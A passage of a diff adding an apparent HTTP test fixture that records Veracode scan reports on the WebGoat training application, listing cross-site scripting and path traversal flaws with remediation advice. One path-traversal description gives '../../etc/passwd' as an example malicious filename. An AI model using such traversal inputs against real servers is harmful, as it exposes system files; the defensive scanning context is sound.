+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:17 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:13:20 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:13:20 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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